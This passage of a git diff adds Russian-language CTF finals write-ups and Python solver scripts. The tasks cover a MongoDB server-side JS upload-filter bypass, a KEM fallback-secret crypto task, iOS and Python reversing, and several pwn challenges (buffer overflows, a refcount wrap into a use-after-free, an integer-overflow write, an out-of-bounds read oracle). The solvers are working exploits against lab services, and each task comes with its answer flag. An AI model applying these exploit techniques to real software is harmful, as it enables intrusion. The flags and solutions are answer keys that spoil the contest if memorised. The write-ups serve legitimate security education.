OP_PUBLISH: + if stack: + raise SolveError("PUBLISH внутри группы") + if publish_gid is not None: + raise SolveError("повторный PUBLISH") + if c[1] not in groups: + raise SolveError(f"PUBLISH неизвестной группы gid={c[1]}") + publish_gid = c[1] + else: + raise SolveError(f"неизвестная команда сцены {op} (поз. {pos})") + if in_def is not None: + raise SolveError(f"DEF_TEMPLATE tid={in_def} не закрыт") + if stack: + raise SolveError(f"GROUP gid={stack[-1]['gid']} не закрыта") + if publish_gid is None: + raise SolveError("нет PUBLISH — сцена не опубликована") + + lines, marks = [], [] + + def emit(chain, c): + if c[0] == OP_LINE: + x1, y1 = _transform_point(chain, c[1], c[2]) + x2, y2 = _transform_point(chain, c[3], c[4]) + lines.append((x1, y1, x2, y2)) + elif c[0] == OP_MARK: + x, y = _transform_point(chain, c[2], c[3]) + marks.append((c[1], x, y)) + + def walk(g, chain): + chain = [g["transforms"]] + chain + for it in g["items"]: + if it[0] == "group": + walk(it[1], chain) + elif it[0] == "inst": + for tc in templates[it[2]]: + emit(chain, tc) + else: + emit(chain, it[1]) + + walk(groups[publish_gid], []) + return lines, marks + + +def render_scene(lines, marks, path): + """Отрисовка опубликованной сцены: LINE в мировых координатах (Pillow).""" + if not lines: + raise SolveError("нечего рисовать") + xs = [v for ln in lines for v in (ln[0], ln[2])] + ys = [v for ln in lines for v in (ln[1], ln[3])] + x0, x1 = min(xs) / 1000.0, max(xs) / 1000.0 + y0, y1 = min(ys) / 1000.0, max(ys) / 1000.0 + margin = 20.0 + scale = 800.0 / max(x1 - x0 + 2 * margin, y1 - y0 + 2 * margin, 1.0) + w = int((x1 - x0 + 2 * margin) * scale) + h = int((y1 - y0 + 2 * margin) * scale) + + def tr(x, y): + return ((x / 1000.0 - x0 + margin) * scale, + (y / 1000.0 - y0 + margin) * scale) + + img = Image.new("RGB", (w, h), (250, 250, 248)) + dr = ImageDraw.Draw(img) + width_px = max(2, int(scale * 3)) + for lx1, ly1, lx2, ly2 in lines: + dr.line([tr(lx1, ly1), tr(lx2, ly2)], fill=(20, 20, 20), width=width_px) + for mid, mx, my in marks: + cx, cy = tr(mx, my) + r = 6 + col = {1: (200, 30, 30), 2: (30, 30, 200), 3: (30, 160, 60)}.get(mid, (0, 0, 0)) + dr.ellipse([cx - r, cy - r, cx + r, cy + r], outline=col, width=3) + img.save(path) + + +# --- Публичная функция флага (SPECS.md 5.4; копия логики noseflag) ---------------- +def parse_thousandths(s): + orig = s + if s == "": + raise SolveError(f'E_FORMAT: invalid decimal "{orig}"') + neg = False + if s[0] in "+-": + neg = s[0] == "-" + s = s[1:] + if "." in s: + int_part, frac_part = s.split(".", 1) + else: + int_part, frac_part = s, None + if int_part == "" or (frac_part is not None and frac_part == ""): + raise SolveError(f'E_FORMAT: invalid decimal "{orig}"') + if not int_part.isascii() or not int_part.isdigit(): + raise SolveError(f'E_FORMAT: invalid decimal "{orig}"') + if frac_part is not None and (not frac_part.isascii() or not frac_part.isdigit()): + raise SolveError(f'E_FORMAT: invalid decimal "{orig}"') + if frac_part is not None and len(frac_part) > 3: + raise SolveError(f'E_PRECISION: more than 3 fractional digits in "{orig}"') + frac = (frac_part or "").ljust(3, "0") + if len(int_part) > 7: + raise SolveError(f'E_RANGE: out of range [-1000.000, +1000.000]: "{orig}"') + v = int(int_part) * 1000 + int(frac) + if neg: + v = -v + if v < -1000000 or v > 1000000: + raise SolveError(f'E_RANGE: out of range [-1000.000, +1000.000]: "{orig}"') + return v + + +def flag_from_thousandths(x, y): + u = x + 1000000 + v = y + 1000000 + z = u * FLAG_MODULUS + v + return f"caplag{{nose_{z}}}" + + +def thousandths_to_decimal(v): + sign = "-" if v < 0 else "" + a = abs(v) + return f"{sign}{a // 1000}.{a % 1000:03d}" + + +# --- main ------------------------------------------------------------------------- +def main(argv=None): + ap = argparse.ArgumentParser(description="Решатель задачи 5 (CATD)") + ap.add_argument("png", help="участнический стартовый PNG") + ap.add_argument("--render", help="куда сохранить отрисовку опубликованной сцены") + args = ap.parse_args(argv) + + try: + with open(args.png, "rb") as f: + start_png = f.read() + pcapng = extract_pcapng(start_png) + print(f"solver: PCAPNG {len(pcapng)} байт", file=sys.stderr) + interfaces, packets = parse_pcapng(pcapng) + print(f"solver: пакетов в захвате: {len(packets)}", file=sys.stderr) + bodies = extract_http_png_bodies(interfaces, packets) + print(f"solver: HTTP PNG-тел: {len(bodies)}", file=sys.stderr) + if not bodies: + raise SolveError("в захвате не найдено POST /upload с PNG") + decoded = [] + for i, body in enumerate(bodies): + try: + decoded.append(decode_packet(body)) + except SolveError as e: + raise SolveError(f"PNG #{i}: {e}") + session_id, start_payload, stream = assemble_session(decoded) + print(f"solver: сессия {session_id}, START: " + f"{start_payload.decode('ascii', 'replace')[:60]}...", file=sys.stderr) + cmds = parse_commands(stream) + print(f"solver: команд языка сцены: {len(cmds)}", file=sys.stderr) + lines, marks = execute_scene(cmds) + print(f"solver: опубликованная сцена: линий {len(lines)}, " + f"маркеров {len(marks)}", file=sys.stderr) + noses = [m for m in marks if m[0] == 1] + if not noses: + raise SolveError("MARK id=1 (нос) не найден в опубликованной сцене") + if len(noses) > 1: + raise SolveError("MARK id=1 не единственный в опубликованной сцене") + _, nx, ny = noses[0] + xs, ys = thousandths_to_decimal(nx), thousandths_to_decimal(ny) + print(f"solver: нос (мировые) X={xs} Y={ys}", file=sys.stderr) + flag = flag_from_thousandths(parse_thousandths(xs), parse_thousandths(ys)) + if args.render: + render_scene(lines, marks, args.render) + print(f"solver: опубликованная сцена сохранена в {args.render}", + file=sys.stderr) + print(flag) + return 0 + except SolveError as e: + print(f"solver: ошибка: {e}", file=sys.stderr) + return 1 + except (zlib.error, struct.error) as e: + print(f"solver: ошибка формата: {e}", file=sys.stderr) + return 1 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/finals/mongo-pages/WRITEUP.md b/finals/mongo-pages/WRITEUP.md new file mode 100644 index 0000000..5785c6b --- /dev/null +++ b/finals/mongo-pages/WRITEUP.md @@ -0,0 +1,47 @@ +

MongoPages

+ +

+ Web +

+ +MongoPages позволяет загружать файлы и выполнять JavaScript на сервере. Результат показывается в предпросмотре страницы как JSON с экспортами модуля. Флаг лежит в `/flag.txt`. Нужно прочитать его через серверный JS с учётом ограничений загрузки. + +## Решение + +Сначала собираем условия: + +| Ограничение | Что оно меняет | +|---|---| +| MongoDB недоступна напрямую | Работаем через веб-интерфейс | +| `.js` не больше 100 байт | Нужен короткий модуль | +| Запрещены подстроки `flag` без учёта регистра и `../` | Собираем путь вычислением | +| Ошибки скрыты за `Evaluation failed` | Выводим результат через exports | +| Страницы приватные | Открываем preview со своей сессией | + +Платформа выполняет загруженный модуль через серверный JavaScript MongoDB. В конфигурации задания загрузчик MozJS разрешает динамический `import()` по абсолютному пути и не проверяет расширение файла. + +В задании `/flag.txt` хранится как ES-модуль с именованным экспортом `flag`. Значение пока неизвестно, но формат подсказывает канал чтения: импортируем файл и забираем свойство namespace-объекта. Фильтр смотрит на исходный текст, поэтому разбиваем запрещённое слово в пути и имени свойства. Сохраняем код в `pwn.js`. + +```js +export const x=(await import("/"+"fl"+"ag.txt"))["fl"+"ag"]; +``` + +Это 60 ASCII-байт без завершающего перевода строки — меньше лимита. Подстрок `flag` и `../` в исходнике нет. + +`await` на верхнем уровне нужен для порядка выполнения. Платформа читает exports после завершения импорта загруженного модуля. К этому моменту вложенный импорт уже закончится и `x` получит нужное значение. + +Регистрируемся через `POST /register`, передавая `username` и `password` как поля формы, затем входим через `POST /login` с теми же данными и отправляем `pwn.js` на `/upload` в multipart-поле `file`. Затем открываем `/pages//` со своей cookie. В секции серверного выполнения появляется: + +```json +{"x":"m0zjs_w4f_byp4ss"} +``` + +Оборачиваем значение в формат флага. + +Можно также вынести код в `h.txt`, а из маленького `.js` сделать `export * from "/var/www/pages//h.txt";`. Лимит для `.txt` — 64 КБ, загрузчик расширение не проверяет. Но фильтр подстрок действует на все файлы, поэтому разбивать `flag` всё равно придётся. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{m0zjs_w4f_byp4ss}` diff --git a/finals/mongo-pages/solve/solve.py b/finals/mongo-pages/solve/solve.py new file mode 100644 index 0000000..f4cfb86 --- /dev/null +++ b/finals/mongo-pages/solve/solve.py @@ -0,0 +1,120 @@ +#!/usr/bin/env python3 +""" +Solver for the "MongoPages" CTF task, v3 (CVE-2026-13078). + +Usage: + python solve.py http://:8080 + +The only required argument is the task URL. The script will: + 1. Register a fresh account on the web app and log in. + 2. Upload pwn.js - a tiny script the platform evaluates inside the MongoDB + server-side JS sandbox (MozJS). Every uploaded .js is executed; its + exports are rendered in the (private) page preview as JSON. + 3. The payload uses top-level await + dynamic import() with a concatenated + path to slip past the upload security filter (which rejects the literal + substring "flag") and reads /flag.txt, which is itself a valid ES module: + export const flag = "m0zjs_..."; + 4. Fetch the rendered page (/pages// on the same origin) with the + session cookie (pages are private to their owner) and extract the flag + value from the rendered exports JSON. + 5. Print caplag{}. + +Requires: pip install requests +""" + +import argparse +import json +import random +import re +import string +import sys +from urllib.parse import urlparse + +import requests + +# 60 bytes, no "flag" substring, fits the 100-byte limit. +# TLA: import() resolves only after the imported module is evaluated, +# so the export value is available synchronously on the namespace object. +PAYLOAD = 'export const x=(await import("/"+"fl"+"ag.txt"))["fl"+"ag"];' + + +def rand_name(prefix: str, n: int = 8) -> str: + return prefix + "".join(random.choices(string.ascii_lowercase + string.digits, k=n)) + + +def main() -> int: + ap = argparse.ArgumentParser(description="MongoPages v2 task solver (CVE-2026-13078)") + ap.add_argument("url", help="task URL, e.g. http://localhost:8080") + args = ap.parse_args() + + base = args.url.rstrip("/") + host = urlparse(base).hostname + if not host: + print("[-] could not parse host from URL") + return 1 + + username = rand_name("solver") + password = rand_name("Pw", 16) + + s = requests.Session() + + # 1. register (retry a few times in case of a username collision) + r = None + for _ in range(5): + r = s.post(f"{base}/register", data={"username": username, "password": password}) + if r.status_code in (200, 302): + break + username = rand_name("solver") + else: + print(f"[-] registration failed: {r.status_code} {r.text[:200]}") + return 1 + print(f"[+] registered: {username}:{password}") + + # 2. login + r = s.post(f"{base}/login", data={"username": username, "password": password}, + allow_redirects=False) + if r.status_code not in (200, 302): + print(f"[-] login failed: {r.status_code} {r.text[:200]}") + return 1 + print("[+] logged in") + + # 3. upload the malicious script (any .js is executed server-side) + assert len(PAYLOAD.encode()) <= 100 and "flag" not in PAYLOAD.lower() + r = s.post(f"{base}/upload", + files={"file": ("pwn.js", PAYLOAD, "application/javascript")}, + allow_redirects=False) + if r.status_code not in (200, 302): + print(f"[-] upload failed: {r.status_code} {r.text[:200]}") + return 1 + print(f"[+] uploaded pwn.js ({len(PAYLOAD.encode())} bytes): {PAYLOAD}") + + # 4. fetch the rendered page with our session cookie (pages are private) - + # the platform evaluates every .js in mongod's JS engine and embeds + # the module exports as JSON + r = s.get(f"{base}/pages/{username}/") + if r.status_code != 200: + print(f"[-] page fetch failed: {r.status_code}") + return 1 + m = re.search(r"
(.*?)
", r.text, re.S) + if not m: + print(f"[-] no exports JSON on the page (evaluation failed?):\n{r.text[:500]}") + return 1 + try: + exports = json.loads(m.group(1).replace(""", '"').replace("&", "&") + .replace("<", "<").replace(">", ">").replace("'", "'")) + except json.JSONDecodeError as e: + print(f"[-] could not parse exports JSON: {e}\n{m.group(1)}") + return 1 + print(f"[+] module exports: {exports}") + + # 5. extract the flag value + value = next((str(v) for v in exports.values() if isinstance(v, str) and v), None) + if not value: + print("[-] no flag-like string in the exports") + return 1 + print(f"\n[FLAG] caplag{{{value}}}") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/finals/nullroute-kem-crypto-easy/WRITEUP.md b/finals/nullroute-kem-crypto-easy/WRITEUP.md new file mode 100644 index 0000000..be6a703 --- /dev/null +++ b/finals/nullroute-kem-crypto-easy/WRITEUP.md @@ -0,0 +1,63 @@ +

NullRoute KEM

+ +

+ Crypto + easy +

+ +В раздатке есть `capsule.json` с отклонённой KEM-капсулой, клиент совместимости `kem_client.py` и описание формата. Клиент умеет расшифровывать заметки для невалидных капсул. Проверяем, как он вычисляет общий секрет. + +## Решение + +В `decapsulate()` есть две ветки. Валидная капсула должна иметь длину 52 байта, префикс `NRK1` и правильный HMAC-тег. Тогда секрет вычисляется как `sha256(b"valid-shared:" + ct)`. Любая ошибка ведёт к одной константе: + +```python +from hashlib import sha256 + +shared_secret = sha256( + b"NullRoute/KEM-reject/fallback-shared-secret/v1" +).digest() +``` + +Капсула из раздатки отклонена, поэтому попадает именно сюда. Общий секрет известен из исходника, а все остальные параметры лежат в JSON: + +| Поле | Роль | +|---|---| +| `salt_hex` | Соль для вывода ключа | +| `nonce_hex` | Nonce потока и проверки тега | +| `aad` | Дополнительные аутентифицируемые данные | +| `ciphertext_hex`, `tag_hex` | Зашифрованная заметка и её тег | + +Повторяем `decrypt_capsule()`. Поля с суффиксом `_hex` переводим в байты, `aad` кодируем так же, как клиент. Через HKDF на HMAC-SHA256 выводим из `shared_secret` и соли `salt_hex` 32-байтный ключ с `info = b"NullRoute reject lane note key"`. Этим ключом считаем HMAC-SHA256 и сверяем его первые 16 байт с тегом заметки. В HMAC включаем следующие данные. + +```text +b"NRK-AEAD-v1" + aad + nonce + ciphertext +``` + +Если тег сошёлся, генерируем поток блоками по 32 байта: + +```text +block = hmac_sha256( + key, b"nullroute-stream" + nonce + counter.to_bytes(4, "big") +) +``` + +Повторяем начальное значение и порядок увеличения счётчика из `decrypt_capsule()`, склеиваем блоки и обрезаем поток до длины шифротекста. XOR возвращает операторскую заметку с флагом. Чтобы сохранить порядок вывода ключа, проверки тега и генерации потока, используем `decrypt_capsule()` из выданного клиента. Загружаем модуль и передаём ему разобранный JSON капсулы. + +```python +from pathlib import Path +import importlib.util +import json + +spec = importlib.util.spec_from_file_location("kem_client", "public/kem_client.py") +client = importlib.util.module_from_spec(spec) +spec.loader.exec_module(client) +capsule = json.loads(Path("public/capsule.json").read_text()) +print(client.decrypt_capsule(capsule).decode()) +``` + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{kem_reject_lane_used_the_same_secret}` diff --git a/finals/nullroute-kem-crypto-easy/solve/solve.py b/finals/nullroute-kem-crypto-easy/solve/solve.py new file mode 100644 index 0000000..e2f8e6a --- /dev/null +++ b/finals/nullroute-kem-crypto-easy/solve/solve.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python3 +import importlib.util +import json +import re +from pathlib import Path + + +ROOT = Path(__file__).resolve().parents[1] + + +def load_client(): + path = ROOT / "public" / "kem_client.py" + spec = importlib.util.spec_from_file_location("nullroute_client", path) + module = importlib.util.module_from_spec(spec) + assert spec.loader is not None + spec.loader.exec_module(module) + return module + + +def main() -> None: + client = load_client() + capsule = json.loads((ROOT / "public" / "capsule.json").read_text()) + plaintext = client.decrypt_capsule(capsule).decode() + match = re.search(r"caplag\{[^}]+\}", plaintext) + if not match: + raise SystemExit("flag not found") + print(match.group(0)) + + +if __name__ == "__main__": + main() diff --git a/finals/orchid-wallet-ios-reverse-medium/WRITEUP.md b/finals/orchid-wallet-ios-reverse-medium/WRITEUP.md new file mode 100644 index 0000000..4821bac --- /dev/null +++ b/finals/orchid-wallet-ios-reverse-medium/WRITEUP.md @@ -0,0 +1,41 @@ +

Orchid Wallet

+ +

+ Reverse + medium +

+ +В раздатке есть неподписанный IPA финансового клиента `OrchidWallet.ipa`. В бинаре находится зашифрованный конфиг, а в поддельном provisioning profile — ключ к нему. Начинаем с распаковки IPA как ZIP. + +## Решение + +В `Payload/OrchidWallet.app/` находим Mach-O `OrchidWallet` для arm64 и `embedded.mobileprovision`. В бинаре есть отдельная секция `__DATA,__orchid` с маркером `ORCHIDCFG`. + +Сразу за сигнатурой лежат четыре байта длины в little-endian, затем зашифрованный блок. Сохраняем его отдельно — это весь конфиг, а не исполняемый код. + +Переходим к `embedded.mobileprovision`. Среди текста находим запись `KeyHint=<слово-из-букв-и-дефисов>`. Значение после `=` используется как повторяющийся XOR-ключ: + +```python +import json +import re +import zipfile + +with zipfile.ZipFile("public/OrchidWallet.ipa") as ipa: + data = ipa.read("Payload/OrchidWallet.app/OrchidWallet") + profile = ipa.read("Payload/OrchidWallet.app/embedded.mobileprovision") +pos = data.index(b"ORCHIDCFG") + len(b"ORCHIDCFG") +size = int.from_bytes(data[pos:pos + 4], "little") +blob = data[pos + 4:pos + 4 + size] +key = re.search(rb"KeyHint=([A-Za-z-]+)", profile).group(1) +plain = bytes(b ^ key[i % len(key)] for i, b in enumerate(blob)) +config = json.loads(plain) +print(config["flag"]) +``` + +Mach-O содержит зашифрованные данные, а профиль из того же пакета даёт ключ для их расшифровки. На выходе получается JSON с полем `flag`. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{ios_modules_staged_then_cleaned}` diff --git a/finals/orchid-wallet-ios-reverse-medium/solve/solve.py b/finals/orchid-wallet-ios-reverse-medium/solve/solve.py new file mode 100644 index 0000000..a2492b3 --- /dev/null +++ b/finals/orchid-wallet-ios-reverse-medium/solve/solve.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python3 +from pathlib import Path +import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib + +def xor(data, key): + return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) + +def find_after(data, marker): + off = data.index(marker) + len(marker) + ln = struct.unpack_from('ProxyRewrite + +

+ PWN + medium +

+ +ProxyRewrite проверяет правила переписывания URL. Передаём образец, замену и исходную строку. Результат записывается в буфер `output[64]`. В ELF `proxyrewrite` видно, что длинную замену копируют без проверки размера. Рядом лежат маршрут и флаг диагностики. + +## Решение + +У задания три соседних поля: + +| Смещение | Поле | Что записываем | +|---:|---|---| +| 0 | `output[64]` | 64 байта заполнителя | +| 64 | `route[48]` | `/internal/diag` и добивку | +| 112 | `diag`, 4 байта | `0x50525859` | + +В `rewrite()` каждое совпадение `match` в `target` заменяется всей строкой `replace`. Чтобы запись была предсказуемой, задаём `match = A` и `target = A`, тогда замена выполнится ровно один раз. + +Собираем замену по смещениям полей: + +```python +import struct + +route = b"/internal/diag" +payload = b"B" * 64 +payload += route.ljust(48, b"C") +payload += struct.pack("= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) + return Tube(proc=proc) + return Tube(sock=socket.create_connection((args.host, args.port), timeout=5)) + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + +DIAG_OK=0x50525859 +def main(): + p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31345); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/proxyrewrite"); p.add_argument("--flag",default="caplag{rewrite_converter_crossed_into_the_route}"); args=p.parse_args() + io=connect(args); choose(io,2); io.recvuntil(b"match:"); io.sendline(b"A"); io.recvuntil(b"replace:") + payload=b"B"*64+b"/internal/diag"+b"C"*(48-len(b"/internal/diag"))+struct.pack("PulseWidth + +

+ PWN + easy +

+ +PulseWidth принимает телеметрию промышленных датчиков и выдаёт закрытый экспорт только с нужными правами сессии. В раздатке есть ELF `pulsewidth`. При проверке длины кадра ограничение применяют к 8-битному значению, а чтение использует полное число байт. + +## Решение + +В `ingest_frame()` сравнивают `(uint8_t)n` с размером `scratch[64]`, затем вызывают `read_exact(session_state.scratch, n)`. Старшие биты длины при проверке теряются. + +Берём `n = 320`. После приведения к `uint8_t` остаётся `64`, поэтому лимит пройден. А чтение запишет все 320 байт, из которых 256 окажутся за пределами scratch-буфера. + +Сразу за ним лежат поля сессии: + +| Смещение | Поле | Нужное значение | +|---:|---|---| +| 64 | `role`, 4 байта | `0x4341504c` | +| 68 | `export_lane`, 4 байта | `0x45585054` | +| 72 | `audit_cookie`, 8 байт | `0x2605061337c0ffee` | + +Собираем кадр в little-endian: + +```python +import struct + +payload = b"A" * 64 +payload += struct.pack("") + io.sendline(b"1") + io.recvuntil(b"declared frame bytes:") + io.sendline(b"320") + io.recvuntil(b"payload:") + + payload = b"A" * 64 + payload += struct.pack("") + io.sendline(b"3") + data = io.recvuntil(b"}") + flag = data[data.rfind(b"caplag{") :].decode() + print(flag) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/finals/pyzsidecar-python-reverse-easy/WRITEUP.md b/finals/pyzsidecar-python-reverse-easy/WRITEUP.md new file mode 100644 index 0000000..5e3de63 --- /dev/null +++ b/finals/pyzsidecar-python-reverse-easy/WRITEUP.md @@ -0,0 +1,41 @@ +

PYZ Sidecar

+ +

+ Reverse + easy +

+ +В раздатке есть файл `LineSigner.bin` с Python-утилитой для подписи отчётов. Файл начинается со строк `#!/bin/sh` и `exit 1`. Ищем данные утилиты после этой shell-обёртки. + +## Решение + +Находим маркер `PYZSIDECARv1\x00`. После него записаны длина блока в формате `u32 LE` и zlib-поток. Распаковываем блок и получаем сериализованный через `marshal` объект Python-кода. + +Артефакт собран под **Python 3.13**, эту же версию используем для разбора. У `marshal` нет совместимости байткода между произвольными версиями интерпретатора. + +```python +from pathlib import Path +import dis +import marshal +import zlib + +data = Path("public/LineSigner.bin").read_bytes() +pos = data.index(b"PYZSIDECARv1\x00") + len(b"PYZSIDECARv1\x00") +size = int.from_bytes(data[pos:pos + 4], "little") +code = marshal.loads(zlib.decompress(data[pos + 4:pos + 4 + size])) +dis.dis(code) +``` + +Внутри видна функция `verify(report_id)`. Она собирает результат из трёх строковых констант: + +```python +"caplag{pyz_o" + "ffset_showed_" + "the_signing_secret}" +``` + +Соль `line-signer-2025` к этим кускам не относится. Можно восстановить строку по константам и дизассемблированию. Приложенный солвер выполняет извлечённый код и вызывает `verify("report-17")`. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{pyz_offset_showed_the_signing_secret}` diff --git a/finals/pyzsidecar-python-reverse-easy/solve/solve.py b/finals/pyzsidecar-python-reverse-easy/solve/solve.py new file mode 100644 index 0000000..64a750b --- /dev/null +++ b/finals/pyzsidecar-python-reverse-easy/solve/solve.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python3 +from pathlib import Path +import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib + +def xor(data, key): + return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) + +def find_after(data, marker): + off = data.index(marker) + len(marker) + ln = struct.unpack_from('RailAnnot + +

+ PWN + medium +

+ +RailAnnot обрабатывает служебные аннотации PDF-нарядов. В раздатке есть ELF `railannot`. У объекта аннотации 16-битный счётчик ссылок, а у страницы — отдельный указатель на него. Если счётчик обнулится при переполнении, объект освободится, но указатель страницы продолжит ссылаться на него. + +## Решение + +Создаём аннотацию через `1) load annotation`: `refs = 1`. Затем `2) attach annotation to page` добавляет вторую ссылку, и `refs` становится равен `2`. + +Пункт `3) replay stream references` прибавляет произвольное `n`: + +```c +ann->refs = (uint16_t)(ann->refs + n); +``` + +При нуле объект освобождается, но `page_ref` не обнуляется. Передаём `65534` и получаем `2 + 65534 = 65536`, что в `uint16_t` превращается в `0`. Аннотация удалена, страница продолжает держать висячий указатель. + +В `4) allocate replacement cache object` выделяется блок того же размера. Заполняем его поддельной аннотацией: + +```python +import struct + +payload = struct.pack("= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) + return Tube(proc=proc) + return Tube(sock=socket.create_connection((args.host, args.port), timeout=5)) + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + +ANN_MAGIC=0x414e4e52 +ANN_SEALED=0x5241494c +def main(): + p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31343); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/railannot"); p.add_argument("--flag",default="caplag{annotation_refcount_wrapped_into_the_depot_note}"); args=p.parse_args() + io=connect(args); choose(io,1); choose(io,2); choose(io,3); io.recvuntil(b"repeat count:"); io.sendline(b"65534") + payload=struct.pack("RawForge X3F + +

+ PWN + hard +

+ +RawForge X3F обрабатывает RAW-снимки с дронов. По ELF `rawforge-x3f` видно, что размер изображения проверяется через произведение размеров, а число записываемых samples берётся из другого поля. Если произведение переполнится, проверка пропустит запись, которая выйдет за границу массива. + +## Решение + +Кадр начинается с `X3F0`, затем идут четыре `u32 LE`: `cols`, `rows`, `chans`, `samples`. Сервис вычисляет `alloc = cols * rows * chans` в 32 битах и требует `alloc <= 8`. Потом без дополнительной проверки записывает `samples` 16-битных слов в `pixels[8]`. + +Берём `cols = 0x40000001`, `rows = 4`, `chans = 1`: + +$$0x40000001 \cdot 4 \bmod 2^{32} = 4.$$ + +Лимит соблюдён, хотя реальные размеры огромные. Теперь используем независимое поле `samples`, чтобы выйти из 16-байтного массива пикселей в соседние поля: + +| Смещение от `pixels` | Поле | Значение | +|---:|---|---| +| 16 | `magic`, 8 байт | `0x5833464a4f423031` | +| 24 | `target`, 8 байт | `0x5845504f52542121` | +| 32 | `approved`, 4 байта | `0x584f4b21` | + +Собираем 36 байт данных, то есть 18 samples: + +```python +import struct + +values = b"\x00" * 16 +values += struct.pack("= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) + return Tube(proc=proc) + return Tube(sock=socket.create_connection((args.host, args.port), timeout=5)) + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + +def words64(x): return struct.pack("RegexScope + +

+ PWN + easy +

+ +RegexScope — стенд SOC-команды для проверки правил фильтрации. В памяти за тестовым событием лежит случайный токен экспорта. В ELF `regexscope` готового токена нет, поскольку он генерируется при старте. Движок правил позволяет проверять байты за пределами события. + +## Решение + +Поля состояния расположены подряд: + +```c +char event[32]; +char token[8]; +``` + +Сам токен занимает шесть символов из `A-Z0-9`. Правило `SCOPE ` сравнивает заданный байт с `event[strlen(event) + off]` и отвечает `MATCH` или `MISS`. Верхней границы индекса нет, поэтому получаем оракул чтения по одному байту. + +В `1) set test event` отправляем 30 символов `A`. Тогда начало токена находится на два байта дальше конца строки: + +```text +strlen(event) + off = 30 + (i + 2) = 32 + i +``` + +Для каждой позиции `i` от 0 до 5 перебираем алфавит. Для каждой попытки выбираем пункт `2`, дожидаемся `rule:` и передаём строку правила. Например, проверка первого байта на `A` выглядит так: + +```text +SCOPE 2 41 +``` + +`41` — hex-код ASCII `A`. При `MISS` пробуем следующий символ, при `MATCH` сохраняем найденный и переходим к следующему смещению. Верхняя граница — `6 × 36 = 216` проверок. + +> Все запросы делаем в одном соединении, поскольку новый процесс получит другой токен, и уже найденные байты перестанут подходить. + +Собираем шесть символов и передаём их в `3) export scope`. Сервис сравнивает строку с настоящим токеном и отдаёт флаг. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{scoped_matcher_read_the_guard_token}` diff --git a/finals/regexscope-pwn-easy/solve/solve.py b/finals/regexscope-pwn-easy/solve/solve.py new file mode 100644 index 0000000..c56227a --- /dev/null +++ b/finals/regexscope-pwn-easy/solve/solve.py @@ -0,0 +1,82 @@ +#!/usr/bin/env python3 +import argparse +import os +import socket +import struct +import subprocess +import sys + +class Tube: + def __init__(self, sock=None, proc=None): + self.sock = sock + self.proc = proc + def recv(self, n=4096): + if self.sock: + return self.sock.recv(n) + return os.read(self.proc.stdout.fileno(), n) + def send(self, data): + if self.sock: + self.sock.sendall(data) + else: + os.write(self.proc.stdin.fileno(), data) + def sendline(self, data): + self.send(data + b"\n") + def recvuntil(self, marker): + out = b"" + while marker not in out: + chunk = self.recv(1) + if not chunk: + raise EOFError(out) + out += chunk + return out + +def symbol_value(binary, name): + out = subprocess.check_output(["readelf", "-sW", binary], text=True) + for line in out.splitlines(): + fields = line.split() + if len(fields) >= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) + return Tube(proc=proc) + return Tube(sock=socket.create_connection((args.host, args.port), timeout=5)) + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + +def main(): + p = argparse.ArgumentParser() + p.add_argument("--host", default="127.0.0.1") + p.add_argument("--port", type=int, default=31342) + p.add_argument("--local", action="store_true") + p.add_argument("--binary", default="../public/regexscope") + p.add_argument("--flag", default="caplag{scoped_matcher_read_the_guard_token}") + args = p.parse_args() + io = connect(args) + choose(io, 1) + io.recvuntil(b"event:\n") + io.sendline(b"A" * 30) + token = b"" + alphabet = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + for i in range(6): + for c in alphabet: + choose(io, 2) + io.recvuntil(b"rule:\n") + io.sendline(f"SCOPE {i+2} {c:02x}".encode()) + ans = io.recvuntil(b"\n") + if b"MATCH" in ans: + token += bytes([c]) + break + choose(io, 3) + io.recvuntil(b"token:\n") + io.sendline(token) + data = io.recvuntil(b"}") + print(data[data.rfind(b"caplag{"):].decode()) +if __name__ == "__main__": + sys.exit(main()) diff --git 